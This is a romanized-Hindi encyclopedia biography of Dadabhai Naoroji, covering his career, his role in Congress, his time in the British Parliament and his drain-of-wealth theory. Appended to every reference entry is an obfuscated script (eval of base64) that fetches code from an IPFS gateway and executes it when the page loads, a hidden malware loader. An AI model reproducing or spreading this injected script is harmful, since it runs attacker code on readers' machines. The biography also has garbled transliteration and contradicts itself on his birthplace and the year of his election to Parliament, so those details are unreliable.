दादा भाई नौरोजी
dada bhaee nauroji
| |
| poora nam | dada bhaee nauroji |
| janm | 4 sitambar, 1825 |
| janm bhoomi | mumbee, maharashtr |
| mrityu | 30 joon, 1917 |
| mrityu sthan | mumbee, maharashtr |
| nagarikata | bharatiy |
| parti | bharatiy rashtriy kaangres |
| vidyalay | elaphianstan ianstitayoot |
| bhasha | gujarati bhasha, aangrezi aur hindi |
| vyavasay | bauddhik, shikshak, vyapari kapas, aur ek praranbhik bharatiy rajanitik neta |
| prasiddh nam | bharat ke graiand old main |
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dada bhaee nauroji (aangrezi: Dadabhai Naoroji, janm- 4 sitanbar, 1825 ee. mumbee; mrityu- 30 joon, 1917 ee. mumbee) ko 'bharatiy rajaniti ka pitamah' kaha jata hai. vah diggaj rajaneta, udyogapati, shikshavid aur vicharak bhi the. shri dadabhaee nauroji ka shaikshik paksh atyant ujjval raha. 1845 mean elphinstan k aaulej mean ganit ke pradhyapak hue. yahaan ke ek aangrezi pradhyapak ne inhean 'bharat ki asha' ki sanjna di. anek sangathanoan ka nirman dadabhaee ne kiya. 1851 mean gujarati bhasha mean 'rast gaphtar' saptahik nikalana prarambh kiya. 1867 mean 'eest iandiya esosiyeshan' banaee. anyatr landan ke vishvavidyalay mean gujarati ke prophesar bane. 1869 mean bharat vapas ae. yahaan par unaka 30,000 ru ki thaili v samman-patr se svagat hua. 1885 mean 'bambee vidhan parishad' ke sadasy bane. 1886 mean 'holabarn kshetr' se parliyameant ke lie chunav l da, lekin asaphal rahe. 1886 mean phinsabari kshetr se parliyameant ke lie nirvachit hue. 'pavarti end anabritish rool in indiya' pustak likhi, jo apane samay ki mahati kriti thi. 1886 v 1906 ee. mean vah 'iandiyan neshanal kaangres' ke adhyaksh banae ge.
jivan parichay
janm
dadabhaee nauroji ka janm 4 sitanbar, 1825 ko mumbee ke ek garib parasi parivar mean hua. jab dadabhaee 4 varsh ke the, tab unake pita ka dehaant ho gaya. unaki maan ne nirdhanata mean bhi bete ko uchch shiksha dilaee. uchch shiksha prapt karake dadabhaee landan ke yoonivarsiti k aaulej mean padhane lage the. landan mean unake ghar par vahaan padhane vale bharatiy chhatr ate-jate rahate the. unamean gaandhi ji bhi ek the. matr 25 baras ki umr mean elaphinaston ianstityoot mean lidiang prophesar ke taur par niyukt hone vale pahale bharatiy bane.
rajaniti mean
nauroji varsh 1892 mean hue briten ke am chunavoan mean 'libaral parti' ke tikat par 'phinsabari seantral' se jitakar bharatiy mool ke pahale 'britani saansad' bane the. nauroji ne bharat mean kaangres ki rajaniti ka adhar taiyar kiya tha. unhoanne kaangres ke poorvavarti sangathan 'eest iandiya esosieshan' ke gathan mean madad ki thi. bad mean varsh 1886 mean vah kaangres ke adhyaksh chune ge. us vakt unhoanne kaangres ki disha tay karane mean aham bhoomika nibhaee. nauroji gopal krishna gokhale aur mahatma gaandhi ke salahakar bhi the. unhoanne varsh 1855 tak bambee mean ganit aur darshan ke prophesar ke roop mean kam kiya. bad mean vah 'kama end kampani' mean sajhedar banane ke liye landan ge. varsh 1859 mean unhoanne 'nauroji end kampani' ke nam se kapas ka vyapar shuroo kiya. kaangres ke gathan se pahale vah sar surendranath banarji dvara sthapit 'iandiyan neshanal esosieshan' ke sadasy bhi rahe. yah sangathan bad mean kaangres mean vilin ho gaya.[1]unhoanne 1906 mean bharatiy rashtriy kaangres ke 'kalakatta adhiveshan' ki adhyakshata ki. unaki mahanh kriti p aauvarti aiand an-british rool in iandiya 'rashtriy aandolan ki baibil' kahi jati hai. ve mahatma gaandhi ke prerana strot the. ve pahale bharatiy the jinhean elaphianstan k aaulej mean bataur prophesar ke roop mean niyukti mili. bad mean yoonivarsiti k aaulej, landan mean unhoanne prophesar ke roop mean apani sevae dian. unhoanne shiksha ke vikas, samajik utthan aur paropakar ke lie bahut-si sansthaoan ko protsahit karane mean yogadan diya, aur ve prasiddh saptahik 'rast gophtar' ke sanpadak bhi rahe. ve any kee jarnal se bhi jude़ rahe. ve samajik karyoan mean bhi ruchi lete the. unaka kahana tha ki, ‘ham samaj ki sahayata se age badhate haian, isilie hamean bhi poore man se samaj ki seva karani chahie.’
yogadan
dadabhaee nauroji ne 'jnan prasarak mandali' namak ek mahila haee skool evan 1852 mean 'bambee esosieshan' ki sthapana ki. landan mean rahate hue dadabhaee ne 1866 ee. me 'landan indiyan esosieshan' evan 'eest iandiya esosieshan' ki sthapana ki. ve rajanitik vicharoan se kafi udar the. british shasan ko ve bharatiyoan ke lie daivi varadan manate the. 1906 ee. mean unaki adhyakshata mean pratham bar kaangres ke kalakatta adhiveshan mean svarajy ki maang ki gayi. dadabhaee ne kaha "ham daya ki bhikh nahian maangate. ham keval nyay chahate haian. british nagarik ke saman adhikaroan ka zikr nahian karate, ham svashasan chahate hai." apane adhyakshiy bhashan mean unhoanne bharatiy janata ke tin maulik adhikaroan ka varnan kiya hai. ye adhikar the-
- lok sevaoan mean bharatiy janata ki adhik niyukti.
- vidhanasabhaoan mean bharatiyoan ka adhik pratinidhitv.
- bharat evan ianglaind mean uchit arthik sabandh ki sthapana.
videsh mean
banbee mean ek pahachan qayam karane ke bad ve ianglaind ge aur vahaan 'bharatiy arthashastr aur rajaniti' ke punaruddhar ke lie avaz buland ki aur haus aauph k aaumans ke lie chune ge. 'bharatiy rajaniti ke pitamah’ kahe jane vale prakhyat rajaneta, ughogapati, shikshavid aur vicharak dadabhaee nauroji ne british upanivesh ke prati buddhijivi varg ke sammohan ke bich usaki syah sachaee ko samane rakhane ke sath hi kaangres ke liye rajanitik zamin bhi taiyar ki thi. unhoanne british upanivesh ke prati buddhijivi varg ke sammohan ko khatm karane ka prayas kiya. dadabhaee nauroji ko bharatiy rajaniti ka 'graiand oldamain' kaha jata hai. ve pahale bharatiy the jinhean 'elaphianstan k aaulej' mean bataur prophesar ke roop mean niyukti mili. bad mean 'yoonivarsiti k aaulej', landan mean unhoanne prophesar ke roop mean apani sevae dian. unhoanne shiksha ke vikas, samajik utthan aur paropakar ke lie bahut-si sansthaoan ko protsahit karane mean yogadan diya, aur ve prasiddh 'saptahik rast gophtar' ke sanpadak bhi rahe. ve any kee jarnal se bhi jude़ rahe. banbee mean ek pahachan qayam karane ke bad ve ianglaind ge aur v 'bharatiy arthashastr aur rajanitik punaruddhar' ke lie avaz buland ki aur 'haus aauph k aaumans' ke lie chune ge.[2]
netaoan ke adarsh
1866 mean landan mean 'eest iandiya esoshieshan' ki sthapana karake british shasan ka sarvapratham arthik vishleshan prastut karane vale dadabhaee nauroji ka nam bharatiy rashtriy kaangres ke sansthapak sadasyoan mean agragany hai. 1885 se 1907 ke bich kaangres mean naramapanthi ya udaravadi netaoan ka bolabala tha. thumb|left|250px|dada bhaee naurojisureandranath banarji, dadabhaee nauroji, madanamohan malaviy, gopalkrishna gokhale, keti tailang, phirojashah mehata adi shaantipoorn dhang se maangean manavane ke lie prayasarat the. aangrejoan ki dasata se mukti dilana in sabhi netaoan ka ekamatr lakshy tha. dadabhaee ne yah maang uthaee ki ianglaiand ki parliyameant mean kam se kam ek bharatiy ke lie bhi sit sunishchit honi chahie. unaki prakhar pratibha se prabhavit aur akaty tarko se parajit hokar aangrejoan ne unaki yah maang man li. unhe hi ianglaiand ki parliyameant mean bharatiyoan ka pratinidhitv karane ke lie chuna gaya. aangrejoan ki parliyameant mean kh de hokar unake virodh mean bolana dadabhaee jaise vyakti ke lie hi sanbhav tha. unhoanne b di soojhaboojh se apane is dayitv ka nirvahan kiya. desh ki svatantrata ke lie dadabhaee nauroji ke margadarshan aur unake sakriy yogadan ko kabhi bhulaya nahian ja sakega.
desh aur samaj ki seva ke lie samarpit dadabhaee nauroji naramapanthi netaoan ke to adarsh the hi, lokamany balagangadhar tilak jaise garamapanthi neta bhi unhe preranastrot manate the. tilak ne dadabhaee ke sath rahakar vakalat ka vyavaharik jnan prapt kiya. ek bar dadabhaee ko kisi mukadame ke sanbandh mean ianglaiand jana p da, unake sath sahayak ke roop mean tilak ji bhi ge. dadabhaee mitavyayita ki drishti se landan mean n thaharakar vahaan se door ek upanagar mean thahare. savere jaldi uthane ki unaki adat thi. ghar ka sara kam ve svayan karate the. ek din jab ve ghar ka kam kar rahe the tabhi tilak ji ki aankh khul gee. unhoanne kaha kya aj naukar nahian aya, jo sab kam apako karana p d raha hai? is par dadabhaee ne tilak ji ko samajhate hue kaha, maian apana kam svayan karata hooan. apane kisi kary ke lie doosaroan par nirbhar nahian rahata. sunakar tilak ji abhibhoot ho ge.[3]
svadesh prem
dadabhaee ka svadesh prem unhean bharat le aya. us samay yahaan aangrejoan ki eest iandiya kanpani ka raj tha. british sarakar ne apani chhavi yah bana rakhi thi ki vah bharat ko taraqqi ke raste par le ja rahi hai, lekin dadabhaee nauroji ne tathyoan aur aank doan se siddh kiya ki aangreji raj mean bharat ka bahut arthik nukasan ho raha hai. bharat din-par-din nirdhan hota ja raha hai. unaki batoan se logoan ko yah vishvas ho gaya ki bharat ko ab svatantr ho jana chahie. ve pahale bharatiy the, jinhoanne kaha ki bharat bharatavasiyoan ka hai. unaki batoan se tilak, gokhale aur gaandhiji jaise neta bhi prabhavit hue.[4]
d graiand oldamain aph iandiya ke nam se mashahoor dada bhaee nauroji british sansad mean chune jane vale pahale eshiyaee the. sansad sadasy rahate hue unhoanne briten mean bharat ke virodh ko prastut kiya. unhoanne bharat ki loot ke sanbandh mean british sansad mean thyori pesh ki. is dren thyori mean bharat se loote hue dhan ko briten le jane ka ullekh tha. kaangres ka itihas likhane vale pro. esar meharotra ne bataya ki nauroji apani vakh kala se logoan ko achanbhit karate the. vah jab british sansad ke lie sadasy chune ge to unhoanne sansad mean kaha, ‘ki maian dharm aur jati se pare ek bharatiy hooan’. vah kaha karate the ki jab ek shabd se kam chal jae to do shabdoan ka prayog nahian karana chahie. ek libaral ke roop mean vah 1892 mean haus aph kamans ke lie chune gaye. ve ek kushal udyami the. 1939 mean pahali bar nauroji ki jivani likhane vale arapi masani ne zikr kiya hai ki nauroji ke bare mean 70 hazar se adhik dastavej the jinaka sangrah thik dhang se nahian kiya gaya.
meharotra ke mutabik vedabarn dablyoo si banarji aur eo hyoom ki tarah dada bhaee nauroji ke bina kaangres ka itihas adhoora hai. unhoanne jo patr likhe haian unaka sangrah aur sanrakshan kiya jana zaroori hai. ve 30 joon 1917 ko duniya ko alavida kah ge. nauroji gopal krishna aur mahatma gaandhi ke guru the. nauroji sabase pahale is bat ko duniya ke samane lae ki british sarakar kis prakar bharatiy dhan ko apane yahaan le ja rahi hai. unhoanne garibi aur britishoan ke raj ke bina bharat namak kitab likhi. vah 1892 se 1895 tak british sansad ke sadasy rahe. eo hyoom aur dinasha edulaji vacha ke sath milakar bharatiy rashtriy kaangres ki sthapana ka shrey unhean jata hai. manekabaee aur nauroji palanaji dordi ke putr dada bhaee nauroji ka janm ek garib parasi parivar mean char sitanbar 1825 ko gujarat ke navasari mean hua. ve shuruat se kafi medhavi the. varsh 1850 mean keval 25 varsh ki umr mean pratishthit elaphianstan ianstityoot mean sahayak prophesar niyukt hue. itani kam umr mean itana sammanajanak ohada sanbhalane vale vah pahale bharatiy the.[5]
bharatiy dhan ki nikasi
1868 ee. mean sarvapratham dadabhaee nauroji ne hi aangrezoan dvara bharat ke 'dhan ki nikasi' ki or sabhi bharatiyoan ka dhyan akrisht kiya. unhoanne 2 mee, 1867 ee. ko landan mean ayojit 'eest iandiya esosieshan' ki baithak mean apane patr, jisaka shirshak 'England Debut To India' ko padhate hue pahali bar dhan ke bahirgaman ke siddhant ko prastut kiya. unhoanne kaha- "bharat ka dhan hi bharat se bahar jata hai, aur phir dhan bharat ko punah rrin ke roop mean diya jata hai, jisake lie use aur dhan byaj ke roop se chukana p data hai. yah sab ek dushchakr tha, jise to dana kathin tha." unhoanne apani pustak 'Poority And Unbritish Rules In India' mean prati vyakti varshik ay ka anuman 20 rupaye lagaya tha. isake atirikt unaki any pustakean, jisamean unhoanne dhan ke nishkasan siddhant ki vyakhya ki hai, 'd vants end mins aauf indiya (1870 ee.)', 'an di kamars aauf indiya (1871 ee.)' adi haian. dadabhaee nauroji 'dhan ke bahirgaman ke siddhant' ke sarvapratham aur sarvadhik prakhar pratipadak the. 1905 ee. mean unhoanne kaha tha ki "dhan ka bahirgaman samast buraiyoan ki j d hai aur bharatiy nirdhanata ka mukhy karan." dadabhaee nauroji ne dhan nishkasan ko 'anishtoan ka anisht' ki sanjna di hai.
- mahadev govind ranade ne kaha hai, "rashtriy pooanji ka ek tihaee hissa kisi n kisi roop mean british shasan dvara bharat se bahar le jaya jata hai."
b dauda ke pradhanamantri
lard sailasibari ne unhean blaik main kaha tha. halaanki vah bahut gore the. unhoanne sansad mean baibil se shapath lene se iankar kar diya tha. aangrezoan ki karastaniyoan ko bayan karane ke lie unhoanne ek patr rast gotar shuroo kiya jise sach batoan ko kahane vala patr kaha jata tha. varsh 1874 mean vah b dauda ke pradhanamantri bane aur tab ve tatkalin banbee ke lejisletiv kauansil ke sadasy chune gaye. unhoanne muanbee mean iandiyan neshanal esosieshan ki sthapana ki jisaka bad mean kaangres mean vilay kar diya gaya.
deshabhakt
dadabhaee kitane prakhar deshabhakt the, isaka parichay 1906 ee. ki kolakata kaangres mean mila. yahaan unhoanne pahali bar svaraj shabd ka prayog kiya. unhoanne kaha, ham koee kripa ki bhikh nahian maang rahe haian. hamean to nyay chahie.
nidhan
dadabhaee bich-bich mean ianglaind jate rahe, parantu svasthy thik n rahane ke karan ve pray: svadesh mean rahe aur 92 varsh ki umr mean 30 joon, 1917 ko mumbee bharat mean hi unaka dehant hua. ve bharat mean rashtriy bhavanaoan ke janak the. unhoanne desh mean svaraj ki nianv dali.
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tika tippani aur sandarbh
- ↑ dadabhaee nauroji ka yogadan mahattvapoorn (hiandi) (ech.ti.em.el) samay laiv. abhigaman tithi: 28 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ dada bhaee nauroji (hiandi) (ech.ti.em.el) azadi d aaut mi. abhigaman tithi: 28 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ smaran: dadabhaee nauroji (hiandi) (ech.ti.em.el) jagaran yahoo iandiya.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ dadabhaee nauroji ne bharatiyata ki pahachan karaee (hiandi) laiv hindustan d aaut k aaum. abhigaman tithi: 28 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ d graiand old main aauph iandiya (hiandi) (pi.ech.pi) vikeand taims. abhigaman tithi: 28 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sharma 'parvatiy', liladhar bharatiy charit kosh, 2011 (hindi), bharatadiskavari pustakalay: shiksha bharati, dilli, prishth san 376.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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